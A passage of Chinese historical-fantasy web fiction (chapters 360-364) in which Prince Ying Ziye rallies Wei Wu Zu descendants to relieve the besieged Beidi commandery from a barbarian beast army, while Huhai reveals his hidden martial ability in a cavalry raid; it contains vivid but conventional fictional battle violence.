赢子夜不给众人过多思考的时间,猛地一挥手!
早已等候在一旁的几名秦军文吏,立刻捧着一卷卷古朴的竹简,快步上前,在众人面前展开。
赢子夜指着那些竹简,声音激昂,如同洪钟大吕!
“此乃我大秦史官,秉笔直书,收录于典籍库中的——《魏武卒纪》!”
“其上所载,非是秦魏恩怨,而是尔等先祖,披坚持锐,北逐胡虏,西镇羌戎,以赫赫武功,护我华夏衣冠的壮烈诗篇!”
他随手拿起一卷,朗声诵读起来!!
“……武卒三年,北狄犯边,掠我妇孺,魏将吴起,率武卒五千,奔袭千里,破狄于阴山之下,斩首三万,俘获无算,边境遂安,民感其德……”
“又有西羌作乱,武卒结阵而前,箭如飞蝗,步若山移,羌骑不能破,大溃,武卒追亡逐北,直抵祁连,扬威域外……”
赢子夜的诵读声,带着一种对历史的敬畏和对先辈功绩的追思,在营地上空回荡。
那些竹简上冰冷的文字,此刻仿佛活了过来。
化作了金
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戈铁马。
化作了先祖们浴血奋战,保家卫国的雄姿!
渐渐地。
下方魏武卒后裔们眼中的敌意和躁动,慢慢被一种复杂的情感所取代。
有追忆,有自豪,有恍惚……
也有被触动心底最深处那根弦的震动!!
赢子夜诵读完毕,将竹简郑重放下,目光再次扫过众人,语气变得无比沉重而恳切。
“当年壮举,本公子未能亲见,实为憾事!”
“但我深知,诸位先祖披荆斩棘,浴血奋战,其心中所愿,绝非仅是魏国一隅之安泰!”
“他们守护的,是身后万千黎民,是脚下这片属于我们所有人的华夏故土!”
“他们绝不希望,看到今日,异族铁蹄践踏我山河,屠戮我同胞!”
他向前踏出一步,声音如同宣誓,带着一种感染人心的力量:“是!大秦东出,扫灭六国!”
“但大秦要灭的,是割据称雄,战乱不休的国!”
“而非六国之民,非华夏之魂!”
“我的父皇,一统天下,非为嬴氏一家之私欲,而是不愿再见天下百姓因国界之限,城郭之隔,而骨肉分离,颠沛流离!”
“不愿这神州大地,再燃无尽之内战烽火!”
“如今,刀兵来自外族!”
“威胁的是我们共同的家园!”
“此刻,不再有秦人、魏人之分,只有是否愿为身后父母妻儿,为这祖宗基业奋起一战的……华夏儿郎!”
“锵——!”
赢子夜猛地拔出腰间佩剑,剑锋直指苍穹,在阳光下反射出耀眼的光芒,他声嘶力竭地怒吼!!
“告诉我!”
“尔等体内流淌的魏武卒热血,可还未冷?!”
“可还愿随我赢子夜,执干戈以卫社稷,复我先祖之荣光,共御外侮?!”
这一番话,如同惊涛骇浪,冲击着每一个魏武卒后裔的心灵!
国仇家恨与民族大义在心中激烈碰撞!
看着那在阳光下熠熠生辉的剑锋,听着那掷地有声的诘问,回想起竹简上先祖的荣光……
短暂的死寂之后——
“愿随公子!共御外侮!”
一名满脸虬髯的魏武卒老卒,猛地捶打着胸膛,热泪盈眶,发出了嘶哑的咆哮!
“共御外侮!”
“卫我山河!”
“重现魏武荣光!”
如同点燃的燎原之火,千余名魏武卒后裔压抑已久的热血和斗志被彻底点燃!!
他们纷纷举起手中的兵器,发出了震耳欲聋的怒吼!!
声浪直冲云霄!
连不远处肃立的秦兵,都不由得为之动容,下意识地挺直了腰板!
就连一旁的田言,清冷的眼眸中也掠过一丝难以言喻的波澜。
赢子夜看着下方群情激昂的场面,心中一块大石落地。
他剑锋一转,指向西北方向,声音斩钉截铁:“好!”
“既然如此,休整半个时辰!”
“随后,尔等魏武卒,便随本公子,兵发北地郡!”
他目光锐利如刀:“那里,不仅有数万蛮军主力,更有能驱使猛兽,沟通自然的‘白鹿部落’强者,以及凶悍的蛮族兽军!”
“此战,便是尔等重振魏武卒威名之战!”
“让那些蛮族看看,何为华夏锐士!”
“诺!!!”
千余魏武卒,连同周围的秦军将士,齐声应和,战意冲天!
第361章 胡亥,不藏了?
受降城。
这座位于无定河侧翼,一直处于一种诡异“平静”的小城。
近日气氛,陡然转变!
胡亥慵懒地倚在铺着白虎皮的软榻上,指尖把玩着一枚温润的玉珏,听着心腹低声禀报着两条密讯。
一条,是关于万世书院机关术弟子已秘密启程前往北疆。
另一条,则是关于六公子赢子夜通传各城,提防蛮军细作混入难民的消息。
听完禀报,胡亥狭长的眼眸中闪过一丝不易察觉的精光。
他轻轻摩挲着玉珏,嘴角勾起一抹意味深长的弧度:“万世书院的人……”
“告诉下面,让他们隐匿行踪,非到万不得已,不得暴露自己在书院中的身份。”
“至于城中可能混入了老鼠……”
胡亥坐直了身体,脸上那副漫不经心的表情瞬间收敛。
取而代之的,是一种混合着阴冷和算计的锐利!
“既然六哥都发话了,那咱们也不能闲着。”
“查!”
“给本公子狠狠地查!”
他声音不高,却带着一股刺骨的寒意:“传令下去,全城**!”
“挨家挨户,给本公子搜!”
“凡是身份不明,行迹可疑者,一律先抓起来!”
“若有反抗,格杀勿论!”
“记住,宁杀错,不放过!”
“本公子可没有六哥那份‘仁慈’,跟这些蛮子细作讲什么证据确凿!”
心腹感受到胡亥话语中的狠辣,心中一凛,连忙躬身:“属下明白!这就去办!”
胡亥挥挥手让他退下,独自留在帐内,脸上露出一抹近乎天真的残忍笑容。
搜捕细作?
这不过是个开始,一个向父皇,向朝野,展示他胡亥并非只会吃喝玩乐的绝佳机会!
他需要功绩,需要军功。
需要让所有人都看到!
他胡亥同样有能力在这北疆立足,甚至……比他那个六哥做得更好!
只有掌握了更多的兵权,他才能在这盘大棋中,拥有足够分量的筹码。
“光守城可不够……”
胡亥低声自语,目光投向城外蛮军游骑时常出没的方向,“得主动出击,打一场漂亮的胜仗才行。”
……
翌日。
受降城气氛肃杀。
一队队狼族骑兵和部分秦军混合编组的巡逻队,开始在全城进行地毯式搜查。
动作粗暴,毫不留情。
一时间,城内鸡飞狗跳,人心惶惶。
确实揪出了几个行踪诡秘,试图反抗之人,被当场斩杀,首级悬挂于城门示众!
胡亥对此结果颇为满意,他要的就是这种铁血手腕的效果。
紧接着,胡亥召集了受降城的主要守将。
这些将领大多对这位以纨绔和狠毒著称的十八公子并不抱什么期望。
甚至暗中腹诽,只盼着他别瞎指挥就谢天谢地了。
胡亥端坐主位,目光扫过下方神色各异的将领,脸上带着一种与往日截然不同的冷峻。
“诸位将军,蛮军欺我太甚,连日袭扰,真当我受降城无人否?”
一名老成持重的将领出列,谨慎道:“公子,敌军游骑虽烦,但兵力不多,我军坚守城池,方为上策……”
“坚守?”
胡亥打断他,嗤笑一声,“守到何时?”
“等到蛮军主力解决了六哥那边,再腾出手来联合戎族主力把我们这‘钉子’拔掉吗?”
他猛地站起身,走到沙盘前,手指点着城外一片区域:“据报,城外三十里,有一支约三千人的戎族骑兵,仗着马快,屡次三番挑衅,断我斥候,杀我边民!”
“本公子决定,就拿他们开刀!”
众将闻言皆是一惊!
主动出击?
还是以骑兵对骑兵?
这位公子莫不是疯了?
就凭城中这些守军和那些狼族骑兵?
“公子三思!”
另一名将领急忙劝阻,“戎族骑兵来去如风,我军贸然出击,恐中埋伏啊!”
胡亥转过身,眼神冰冷地盯着那名将领,直到对方低下头去,才缓缓开口,声音带着不容置疑的威严:“本公子意已决!”
“点齐五千骑兵,其中两千狼族精锐,三千我军轻骑,随本公子出城迎敌!”
“其余人等,守好城池!”
他的目光扫过众将,带着一丝挑衅和压迫:“怎么?”
“诸位将军是怕了?”
“还是觉得,本公子不配领军?”
话已至此,众将虽心中忐忑,却也不敢再明着反对,只得齐声领命:“末将遵命!”
……
半个时辰后。
受降城门大开。
胡亥一身玄色轻甲,并未佩戴过多装饰,手持一柄造型奇古的长剑,一马当先,冲出了城门。
他身后,是两千眼神凶悍,嗷嗷叫的狼族骑兵。
以及三千虽然疑虑,但军令如山的秦军轻骑!
城头上。
留守的将领们看着胡亥一改往日慵懒,显得英姿勃发的背影,心情复杂。
他们实在无法将眼前这个气势凌厉的公子,与印象中那个只知道玩乐的纨绔子弟联系起来。
胡亥率领五千骑兵,并未盲目冲锋。
而是依据斥候情报,精准地扑向了那支正在一处河谷地带休整,毫无防备的三千戎族骑兵!
当胡亥的骑兵如同天降神兵般出现在河谷入口时,戎族骑兵顿时大乱!
他们仓促上马,试图组织反击。
胡亥一马当先,眼中闪烁着兴奋与残忍交织的光芒!
他长剑前指,声音清越却带着一股森然杀意:“大秦的将士们!”
“狼族的勇士们!”
“随我——杀!”
“杀——!”
五千铁骑如同决堤洪流,狠狠撞入了混乱的戎族军阵之中!
直到此刻,出击的秦军骑兵才第一次见识到这位胡亥公子的另一面!
他并非想象中的草包。
其马术精湛,剑法更是狠辣刁钻!
只见他冲入敌阵,长剑挥洒间,如同毒蛇出洞!
每一剑都精准地刺向敌人甲胄缝隙或战马要害!
几乎没有多余的动作,效率高得吓人!
一名戎族百夫长怒吼着挥刀劈来,胡亥甚至没有格挡,只是微微侧身,手中长剑如同鬼魅般后发先至,直接点穿了对方的咽喉!
他不仅个人武勇,指挥也颇有章法。
不断下令调整阵型。<
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br>利用狼族骑兵的悍勇冲击敌阵,秦军轻骑则在外围游走,用**覆盖,切割战场!
主将如此悍勇,极大地激励了麾下将士!
狼族骑兵本就嗜血,见状更加疯狂!
秦军骑兵也抛开了疑虑,奋力**!
五千对三千,又是出其不意的突袭,战局几乎是一边倒的**!!!
不到一个时辰。
三千戎族骑兵除少数拼死突围外,大部被歼灭在河谷之中!
胡亥甚至亲手阵斩了这支戎族骑兵的统领,将其首级挑在剑尖!
夕阳下。
胡亥驻马立于尸横遍野的战场中央,玄甲染血,长剑低垂,血珠顺着剑锋滑落。
他望着远方蛮军主力的方向,脸上没有任何表情。
唯有那双眸子深处,闪烁着野心与冰寒的光芒。
城头上,那些原本对他心存轻视的守将,此刻已是目瞪口呆,心中掀起了惊涛骇浪。
这位十八公子……
隐藏得太深了!
此战之后,谁还敢说他只是纨绔?
参战的将士们看着胡亥的背影,眼神中也多了几分敬畏与狂热。
跟着这样一位敢战、能战的公子,似乎……也不错?
胡亥缓缓举起染血的长剑,声音传遍战场:“回城!”
他要让这场“漂亮”的胜仗,尽快传出去!
北疆的权柄,他胡亥,要定了!
……
数日疾驰。
赢子夜率领着千余名魏武卒后裔以及部分朔风关骑兵,风尘仆仆地赶往岌岌可危的北地郡城。
沿途所见,尽是烽烟与逃难的百姓。
让每个人的心头都如同压着一块巨石。
途中,暗河的密报再次送达!
赢子夜勒住战马,快速浏览着纸条上的信息。
当看到胡亥在受降城主动出击,以雷霆手段歼灭三千戎族骑兵,并展现出不凡的武勇和指挥能力时,他的眼神微微一动,但并未流露出太多惊讶。
“果然……他终究是藏不住了。”
赢子夜低声自语,语气平静。
对于胡亥的城府和隐藏的实力,他早有预料。
他那位十八弟,绝非表面看上去的纨绔无能。
真正让他心中起疑的是时机——
“为何是现在?”
“在我于朔风关盘活局面,王贲大军北上,北疆战局即将进入关键阶段之时,他突然跳出来展现能力,争夺兵权和目光……”
“是觉得不能再隐忍下去,还是……另有图谋?”
这个念头在他脑海中一闪而过。
但眼下有更紧急的事情需要处理。
密报的第二部分内容,让他的脸色瞬间阴沉如水——
北地郡城,情况已万分危急!!!
蛮军主力日夜猛攻,城中守军伤亡惨重。
城防多处破损,陷落只在旦夕之间!
“加速前进!务必在天黑前赶到北地郡!”
赢子夜不再纠结于胡亥的意图,猛地一夹马腹,战马如同离弦之箭般射出!
身后千骑紧紧跟随,卷起漫天烟尘!
当他们终于能够遥望见北地郡城那高大的轮廓时,即便相隔甚远,也能感受到那股扑面而来的惨烈与绝望气息。
第362章 以血溅轩辕,以命守国门!
北地郡城。
这座北疆西部重镇,此刻已然化作了一片血肉磨坊!
曾经巍峨的城墙,如今布满了巨大的缺口和裂痕。
那是被蛮军简陋却威力巨大的投石车和攻城锤反复撞击留下的创伤。
墙砖被鲜血染成了暗红色,层层叠叠,散发着令人作呕的腥气!
城头上,大秦的黑龙旗依旧在飘扬,但旗面已然破损不堪,被硝烟和血迹污染。
城墙之下,尸体堆积如山,有蛮族的,但更多的,是身披黑色玄甲的秦军将士。
他们有的至死仍保持着冲锋或挥砍的姿态,有的与敌人扭打在一起,指甲深深抠入对方的皮肉,最终同归于尽!
“轰隆!”
又是一声巨响!
一段本就摇摇欲坠的女墙在蛮军疯狂的撞击下轰然倒塌,碎石和守军的尸体一同坠落。
“补上去!快补上去!”
“绝不能让他们从这里突破!”
一名浑身是血,头盔都不知道掉到哪里去的秦军校尉,声嘶力竭地吼叫着。
他带着几十名同样伤痕累累的士兵,用身体堵住了那个刚刚出现的缺口。
箭矢早已耗尽,滚木礌石也所剩无几。
守军们只能依靠着手中的长戟、环首刀,与源源不断攀爬上来的蛮族士兵进行着最残酷的肉搏!!
一名年轻的秦兵,腹部被蛮族的弯刀划开,肠子都流了出来!
他却红着眼睛,用尽最后一丝力气,死死抱住那名蛮族士兵的双腿,对着身后的同袍嘶吼:“杀了他!快!”
旁边的老兵含泪一刀砍下蛮兵的脑袋!
年轻秦兵脸上露出一丝解脱的笑容,轰然倒地。
另一处垛口,三名秦兵背靠背结成一个小小的三角阵。
他们每个人身上都带着数道深可见骨的伤口,脚下已经倒下了七八具蛮兵的尸体!
一名蛮族小头目狞笑着带着更多人围了上来。
“兄弟们,看来今天咱们得交代在这儿了!”
中间那名满脸虬髯的老兵啐出一口血沫,咧嘴笑道,露出染血的牙齿。
“怕个鸟!够本了!”
左边的瘦高个士兵喘着粗气,握紧了卷刃的环首刀。
“杀一个不亏,杀两个赚一个!老子早就赚翻了!”
右边的矮壮士兵眼睛赤红,如同困兽。
“那就……再拉几个垫背的!”
老兵怒吼一声,三人如同扑火的飞蛾,主动冲向了数倍于己的敌人!
刀光剑影,血肉横飞!
最终,三人力战而亡,但他们周围,又多了五六具蛮兵的尸体!
这样的场景,在城头的每一处上演着。
秦军的韧性、血性和视死如归的勇气,被发挥到了极致!
他们明知援军可能赶不及,明知城池可能守不住!
但没有人后退,没有人投降!!
哪怕死,也要从敌人身上咬下一块肉!
哪怕死,也要让蛮子知道,大秦的边关,不是那么容易就能踏破的!
城楼指挥台上,北地郡守将——
一位年过五旬,鬓发皆白的老将军。
左臂齐肩而断,用布带草草包扎着,鲜血仍在不断渗出。
他右手持着一柄崩了口的战刀,亲自站在最前线,声音已经沙哑得几乎发不出声,只能用动作和眼神指挥着残存的守军。
他看着下方如同潮水般涌来,仿佛永无止境的蛮军,又看了看身边越来越少,个个带伤的将士,眼中闪过一丝悲凉。
但更多的,是一种与城共存亡的决绝!!
“将军!东门……东门快守不住了!”
“请求支援!”
一名传令兵连滚带爬地跑来,脸上满是绝望。
老将军看了看身边仅存的,作为最后预备队的几十名亲卫,惨然一笑:“支援?”
“哪里还有支援……”
“告诉东门的弟兄们,本将军……与他们同在!”
他举起战刀,对着残阳,发出了最后的怒吼:“大秦的将士们!”
“身后即是家园,我们已无路可退!”
“今日,唯有以血溅轩辕,以命守国门!”
“杀——!”
“杀——!”
残存的守军发出了震天的咆哮!!!
数百名浑身浴血,甲胄残破的秦军将士,跟随着他们的将军,如同扑火的飞蛾,决绝地冲出了摇摇欲坠的城门!
他们眼神中燃烧着与敌偕亡的疯狂。
也带着一丝对身后家园最后的眷恋。
然而,当他们冲出城门,看清前方蛮军阵中那支缓缓压上的队伍时。
即便是抱定了必死之心的秦军,眼中也不由得掠过一丝难以抑制的惊悸和更深沉的绝望!!
那根本不是普通的蛮族士兵!
只见数十名身高近乎一丈,皮肤呈古铜色,肌肉虬结如同老树盘根的蛮族勇士,骑着披挂着简陋骨甲,鼻息喷吐着白气的狂暴野牛!
这些野牛双眼赤红,蹄子刨地,发出沉闷的哞叫,充满了野性的力量。
而在这些蛮牛骑士的周围,上百头体型壮硕如牛犊,獠牙外露,眼神凶残的草原獒犬正龇着牙,发出低沉的咆哮,涎水顺着嘴角滴落!
更远处!
影影绰绰的狼群在烟尘中穿梭。
绿油油的眼睛如同鬼火,死死地盯着冲出来的秦军。
仿佛在打量着一顿饕餮盛宴。
这支由蛮人、野牛、獒犬、狼群等各种野兽组成的军队,散发着一种原始野蛮,令人窒息的恐怖气息!!
他们不像军队。
更像是一股从洪荒时代席卷而来的兽潮!
秦军将士们握紧了手中残破的兵器,指节因用力而泛红。
他们不怕死,但面对这样超越常理,宛若神话中走出的敌人,一股源自本能的寒意还是不可抑制地从心底升起!
这根本不是对等的战争!
老将军看着那如同移动山岳般压来的蛮牛骑士,看着那嗜血的獒犬和狼群,嘴角泛起一丝苦涩。
他回头,最后望了一眼那座残破不堪,却承载了无数坚守与牺牲的城池,眼中满是不甘与决绝。
“将士们!”
他用尽最后的力气嘶吼,“今日,唯死而已!”
“随我……”
他的战吼尚未完全出口——
“呜——嗡——!”
一道苍凉而雄浑的号角声,如同撕裂暮色的曙光,猛地从战场的侧后方传来!
这号角声,带着一种一往无前的锐气,瞬间吸引了所有人的目光!
无论是决死的秦军,还是那支野蛮的兽军,都不由自主地循声望去!
只见在如血残阳映照的地平线上。
一道铁流,正以雷霆万钧之势,冲破漫天烟尘,朝着这片绝望的战场狂飙而来!
为首一骑,玄衣玉冠,身姿挺拔,虽风尘仆仆,但那双眼眸却亮得惊人,如同暗夜中最寒冷的星辰!
“是……是我们的援军!”
“是六公子!”
“六公子来了!”
一名眼尖的秦军士卒,发出了近乎癫狂,带着哭腔的呐喊!
这声呐喊,如同投入滚油中的水滴,瞬间点燃了所有残存守军心中那本已熄灭的希望之火!
老将军那浑浊的眼中,猛地爆发出难以置信的光彩。
他看着那支越来越近的黑色洪流,看着那道熟悉的玄色身影,干裂的嘴唇颤抖着,最终化作一声混杂着无尽激动与解脱的嘶吼:
“天不亡我北地!”
“将士们!援军已至!”
“随我——杀——!!!”
绝处逢生的狂喜,化作了滔天的战意!
原本抱着必死之心的守军,此刻如同被注入了新的灵魂,挥舞着兵刃,跟随着他们的将军,朝着那支恐怖的兽军,发起了反冲锋!
而赢子夜,一马当先,目光冰冷地锁定了那群蛮牛骑士和肆虐的兽群,手中长剑直指前方!
“魏武卒!”
“结阵!”
“目标,敌军兽骑——前进!”
千余名魏武卒后裔的呼吸瞬间粗重起来。
眼中燃起的并非恐惧。
而是滔天的怒火!!!
即便他们体内流淌着魏人的血,对秦有着复杂的情绪。
但在此刻,面对践踏华夏山河,屠戮守土将士的异族。
那沉寂在血脉深处,属于魏武卒的荣耀与悍勇,被彻底点燃!!
“铁甲魏武!不死不降!”
“血溅三河!勇破八方……”
不知是谁,低声唱起了那首古老的战歌,声音沙哑却带着一种奇异的力量。
很快,千余人齐声低吼,战歌渐起,由低沉转为高昂,最终化作了震天动地的咆哮!
这不是秦歌,这是属于他们先祖,属于魏武卒的战魂之音!
“重甲!结阵!”
田言清冷的声音响起,却带着一种不容置疑的威严。
“铿锵!”
“铿锵!”
“铿锵!”
令人牙酸的金铁摩擦声连成一片!
千余名魏武卒后裔,动作整齐划一,将背负的沉重甲胄部件迅速穿戴在身上!
那并非秦军的制式玄甲,而是更加古朴、厚重,带着魏国风格的全身重铠!
阳光照射在暗沉的铁甲上,反射出冰冷的光泽。
他们手中的兵器也并非长戟马槊,而是更利于步战劈砍的重剑、长柄战斧以及厚实的包铁大盾!
“咚!”
“咚!”
“咚!”
战鼓声从赢子夜的本阵中擂响,节奏沉重而缓慢,却带着一股碾碎一切的意志。
“魏武卒——前进!”
田言长剑前指。
“杀!”
“杀!”
第363章 魏武之魂,复我荣光!
蛮军阵中,那名为首的蛮牛骑士,看着这支突然出现,装备怪异,气势沉凝的步兵,眼中闪过一丝惊疑。
但随即,被凶残所取代。
他发出一声怪叫,催动座下狂暴的野牛,挺起手中粗大的狼牙棒,带着麾下的蛮牛骑士和獒犬狼群,如同失控的泥石流,狠狠撞向了魏武卒的方阵!
所有人都以为。
这将是一场血肉横飞的惨烈碰撞!
然而,接下来发生的一幕,让所有目睹者,无论是秦军还是蛮军,都终生难忘!
“轰——!!!”
野牛携带着千钧之力,狠狠撞在了魏武卒前排的包铁大盾之上!
预想中人仰马翻的场景并未出现!
那面盾牌后的魏武卒士卒,只是身体微微晃动了一下,脚下甚至没有后退半步!
他裸露在铁盔下的脸庞涨红,发出一声沉闷的怒吼!!
双臂肌肉贲张,竟硬生生抵住了野牛的冲撞!!
与此同时,他身旁的同伴,手中的重剑已经如同门板般横扫而出!
“咔嚓!”
一声令人头皮发麻的脆响!
重剑毫无花哨地砍在了野牛粗壮的前腿上!
那足以撞塌土墙的牛腿,在这恐怖的力量面前,竟如同枯枝般应声而断!
野牛发出凄厉的悲鸣,轰然倒地!
将背上的蛮族骑士狠狠甩飞出去!
那名蛮族骑士尚未落地,另一柄战斧已经带着恶风劈至!
“噗嗤!”
蛮族骑士连同他身上简陋的皮甲,被直接从中间劈成了两半!
鲜血和内脏如同暴雨般泼洒开来!
这仅仅是开始!
獒犬疯狂地扑上,试图撕咬魏武卒的腿脚,但它们的利齿咬在厚重的铁甲上,只能迸溅出几点火星,连白痕都难以留下!
而魏武卒沉重的铁靴踏下,直接将獒犬的头颅踩得粉碎!
狼群更加狡猾,试图从侧面和后方跃起,攻击甲胄的缝隙。
但魏武卒的阵型浑然一体,根本无懈可击!
侧翼的士卒甚至不需要回头,反手一剑挥出,就能将扑来的恶狼拦腰斩断!
他们不需要闪避,不需要技巧!
就是硬扛!
就是碾压!!!
一名魏武卒士卒被两名蛮族士兵用长矛刺中胸甲,矛尖在铁甲上划出刺耳的声响,却无法寸进!
那士卒怒吼一声。
左手抓住矛杆,右手重剑猛地劈下,直接将一名蛮族连人带矛劈飞!
另一名蛮族吓得魂飞魄散,想要后退,却被旁边伸来的战斧砍掉了脑袋!
他们就像是一具具不知疼痛,力大无穷的人形战争机器,在敌阵中稳步推进!
所过之处,蛮牛被掀翻,獒犬被踩碎,狼群被斩杀。
蛮族士兵如同被收割的稻草般成片倒下!
他们的重剑和战斧每一次挥动,都带着撕裂空气的轰鸣,必然带起一蓬血雨!
蛮军那支引以为傲,凶残恐怖的兽军,在这支重现于世的重甲步兵面前,竟显得如此脆弱和不堪一击!
魏武卒的推进速度并不快。
但那种无可阻挡的气势,那种纯粹力量带来的绝对压制。
让所有蛮军从心底感到了寒意和恐惧!
城门口。
那些正在进行冲锋的北地郡守军,目瞪口呆地看着这一幕,心中的震撼无以复加。
他们从未见过这样的军队,这样的战斗方式!
这……
这就是曾经威震天下的魏武卒吗?
赢子夜立于后方,看着魏武卒在敌阵中如同热刀切油般推进,眼中也闪过一丝惊叹。
他知道魏武卒强。
却没想到,在田言的整合下,重现的魏武卒后裔,竟能爆发出如此恐怖的实力!
“魏武,复我荣光!!!”
不知是哪个魏武卒老卒,在砍翻一名蛮牛骑士后,发出了震天的咆哮!
“复我荣光!”
千余魏武卒齐声响应,战吼声压过了一切!
他们的脚步更加坚定,推进的速度似乎也加快了几分!
这场战斗,不再是求生,而是宣言!
向天下宣告,那支曾令列国胆寒的魏武卒,其魂未灭,其勇犹在!
而赢子夜也并未坐视。
眼见魏武卒如同磐石般稳步推进,将蛮军的兽潮死死挡住。
他目光一扫,瞬间锁定了蛮军阵中一名格外显眼的巨汉。
那巨汉身高九尺,浑身肌肉虬结如同岩石!
披着不知名野兽皮毛缝制的简陋重甲,手持一柄门板大小的巨型骨锤,每一次挥动都带着呼啸的恶风。
竟能短暂地阻滞魏武卒局部的推进。
显然是一名以力量和防御著称的蛮族强者!
“保护好田言姑娘。”
赢子夜对身旁亲卫吩咐一声,身形一晃,已如离弦之箭般射向那名巨汉!
玄衣在风中猎猎作响!
人未至,凛冽的剑气已破空而至!!!
那蛮族巨汉感受到威胁,怒吼一声,巨大的骨锤带着崩山裂石之势,朝着赢子夜当头砸下!
这一锤,足以将寻常武将连人带马砸成肉泥!
赢子夜眼中寒光一闪,不闪不避,体内真气奔涌,手中长剑发出一声清越龙吟,剑尖精准无比地点在骨锤力量最为薄弱的侧面!!
“铛——!”
一声震耳欲聋的金铁交鸣巨响!
气浪以两人为中心猛地扩散开来,卷起满地沙尘!
蛮族巨汉只觉一股尖锐无比,凝练至极的力量透过骨锤传来!
震得他双臂发麻,庞大的身躯竟不由自主地踉跄后退了两步,脸上露出难以置信的神色!
他赖以成名的力量,竟然被一个看起来并不魁梧的秦人正面撼动?!
赢子夜得势不饶人,身法如鬼魅般贴近,剑光如同泼水般洒出。
每一剑都精准地刺向巨汉甲胄的缝隙、关节等薄弱之处!
那巨汉空有蛮力,动作却相对笨拙,在赢子夜精妙迅疾的剑法面前,只能狼狈地挥舞骨锤格挡,却防不胜防!
“噗嗤!”
一道剑光如同毒蛇般钻入巨汉腋下的甲胄缝隙,鲜血瞬间飙射而出!
巨汉发出一声痛苦的咆哮,动作一滞。
赢子夜抓住这转瞬即逝的机会,长剑如惊鸿般直刺其咽喉!
“呃……”
巨汉的咆哮戛然而止。
庞大的身躯晃了晃,眼中带着不甘与惊愕,重重倒地,溅起一片尘土。
赢子夜看都未多看尸体一眼,抽剑回身,目光再次投向整个战场。
魏武卒的方阵依旧在稳步向前碾压。
他们浑身浴血,铁甲上挂满了碎肉和污秽。
但那血,几乎都是敌人的!
他们的战意非但没有因杀戮而减弱,反而愈发高昂。
每一次挥动兵刃都带着宣泄般的狂暴,仿佛要将积压了数十年的郁气与先祖的荣光,尽数在这一战中打出来!
第364章 岂曰无衣,与子同袍!
随着蛮军这支核心兽军被魏武卒硬生生击溃。
剩余的蛮军终于彻底丧失了斗志,发一声喊,如同退潮般向着远方溃逃而去。
战场暂时恢复了平静,只剩下浓烈的血腥气和满地的残肢断臂。
赢子夜与田言汇合。
率领着魏武卒和本部骑兵,踏着敌人的尸体和凝固的鲜血,缓缓走向那座饱经摧残的北地郡城。
城门早已破损不堪。
当赢子夜一行人踏入城内时,映入眼帘的景象,让即便是心如铁石的暗河杀手和刚刚经历血战的魏武卒,也为之动容。
街道两旁,废墟之中,随处可见倚靠在一起,相互包扎伤口的秦军士卒。
他们大多带伤,眼神疲惫却依旧坚毅。
更多的,是阵亡将士的遗体,被同袍们尽可能地整齐摆放,盖上了残破的战旗或布帛。
而更让人心头震颤的是,许多普通百姓——
男人、妇人,甚至还有半大的孩子,也都身上带伤。
或是搬运着石块木料试图修补城墙,或是帮忙照顾伤员,或是默默地收敛着烈士的遗体。
他们的脸上带着悲戚,带着失去亲人的痛苦,但却没有太多的慌乱。
只有一种与这座城池共存亡后留下的麻木与坚韧。
当赢子夜、田言以及那支虽然疲惫却煞气冲天的魏武卒队伍,出现在布满伤痕和血迹的街道上时。
不知是谁先开始的。
一阵低沉、沙哑,却带着某种古老韵律的歌声,缓缓响起:
“岂曰无衣?”
“与子同袍。”
“王于兴师,修我戈矛。”
“与子同仇……”
起初只是零星几人。
很快,这歌声如同星火燎原,感染了整条街道,感染了所有幸存的人!!
无论是伤残的士兵,还是失去家园的百姓,都挣扎着站起身,或是抬起头,跟着哼唱起来。
他们的声音并不整齐。
甚至有些跑调,带着哭腔和嘶哑。
但那歌声中蕴含的同仇敌忾,誓死不屈的精神,却比任何华丽的乐章更加震撼人心!
这是老秦人的歌!
是流淌在关中子弟血脉中的战歌!
赢子夜停下了脚步。
他看着眼前这些衣衫褴褛,满身血污却目光坚定的老秦人,听着这悲壮苍凉的歌声,胸腔之中仿佛有一股炽热的洪流在奔涌,冲击着他的喉咙。
他缓缓抬起手,示意身后的军队安静。
然后,在所有人注视下,他深吸一口气,跟着那苍凉的调子,放声唱了起来:
“岂曰无衣?”
“与子同泽。”
“王于兴师,修我矛戟。”
“与子偕作……”
他的声音清朗而富有穿透力,带着一种难以言喻的感染力。
田言静静地站在他身侧,清冷的眼眸望着他的侧影,微微闪动。
身后的魏武卒们,虽然并非秦人,但听着这充满血性与团结的战歌,看着眼前这悲壮的一幕,也不由得肃然起敬。
歌声落下。
街道上一片寂静。
只有风吹过废墟的呜咽声。
赢子夜目光扫过每一张饱经苦难却依旧不屈的脸庞。
他的声音不大,却清晰地传入每一个人耳中,带着一种斩钉截铁的承诺和滔天的怒火:
“乡亲们!将士们!”
“你们,没有白白流血!”
“你们死去的亲人,没有白白牺牲!”
他猛地拔出腰间染血的长剑,剑锋指天,声音陡然拔高,如同宣誓,响彻整个残破的城池!
“我,赢子夜,以大秦六公子之名,以此剑立誓!”
“此仇,必报!”
“此血,必偿!”
“所有犯我疆土,屠我子民的蛮夷,无论他们逃到哪里,本公子定会率领大秦锐士,追亡逐北,以血还血,以牙还牙!”
“要用他们的头颅,祭奠我北地郡万千亡魂!”
“老秦人的血,绝不会白流!”
“血债血偿!”
“为死去的弟兄报仇!”
“追随六公子!”
“杀光蛮子!!!”
……
北地郡守府议事堂。
虽经粗略打扫,依旧弥漫着挥之不去的血腥与烟尘气息。
赢子夜端坐主位,田言静立其侧。
下方则是以那位断臂老将军为首的几名残存将领,以及魏武卒的几名统领。
气氛凝重得如同铁铸。
赢子夜目光扫过众人,最终落在断臂老将军身上,沉声问道:“老将军,如今郡城之围暂解,但周边局势如何?”
“还望将军详述。”
老将军姓李,名敢。
闻言,用仅存的右手撑住案几,艰难地站起身,声音沙哑却条理清晰:“回殿下!”
“情况……不容乐观!”
他深吸一口气,脸上每一道皱纹都刻满了忧虑:“其一,郡城周边,高奴、雕阴等数座县城,近日皆燃起烽火,派出骑兵求援!”
“信使言及敌军攻势猛烈,城池岌岌可危!”
“然……然我北地郡自身难保,兵力捉襟见肘,实在……实在无力分兵救援!”
“如今烽火已断数日,那些城池是存是亡,末将……末将亦不知啊!”
说到此处,李敢老将军虎目含泪,满是无力与愧疚。
赢子夜眉头紧锁,这与他预料的一样,蛮军是多点开花,意图全面瘫痪北疆防御。
李敢继续道,语气更加沉重:“其二,据零星逃来的溃兵所言,蛮军之中,除大军压境外,还有数支由强者率领的小股精锐,专司刺杀我军中将领!”
“已有数位县城守将、军侯遇刺身亡,导致群龙无首,城池更快陷落!”
“这些刺客来去如风,防不胜防!”
赢子夜与田言对视一眼,都看到了彼此眼中的寒意。
斩首战术,配合大军压境,这是要彻底摧毁北疆的指挥体系!
